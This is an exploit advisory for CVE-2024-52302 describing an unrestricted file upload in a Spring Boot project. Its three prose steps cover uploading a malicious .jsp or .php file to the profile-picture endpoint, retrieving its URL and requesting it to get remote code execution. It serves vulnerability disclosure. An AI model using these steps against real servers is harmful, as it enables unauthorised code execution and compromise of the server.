# Exploit Title: Unrestricted File Upload

# Date: 14/Nov/2024
# Exploit Author: d3sca
# Vendor Homepage:
https://github.com/OsamaTaher/Java-springboot-codebase
# Software Link:
https://github.com/OsamaTaher/Java-springboot-codebase
# Version: [app version] 0.1
# Tested on: Debian Linux
# CVE : CVE-2024-52302


# Steps to Reproduce:

# Upload Malicious File: Send a PUT request to /api/v1/customer/profile-picture using customer with role 26,17 added with a malicious file payload (e.g., .jsp, .php, .html).

# GET the file location: Send GET request /api/v1/customer/my-profile , grap the file location in response with the profile's link.

# Execute the Uploaded File: Using the file name access the file directly through the URL returned in the response.
# If the server supports the uploaded file type, it will execute the file, leading to Remote Code Execution.
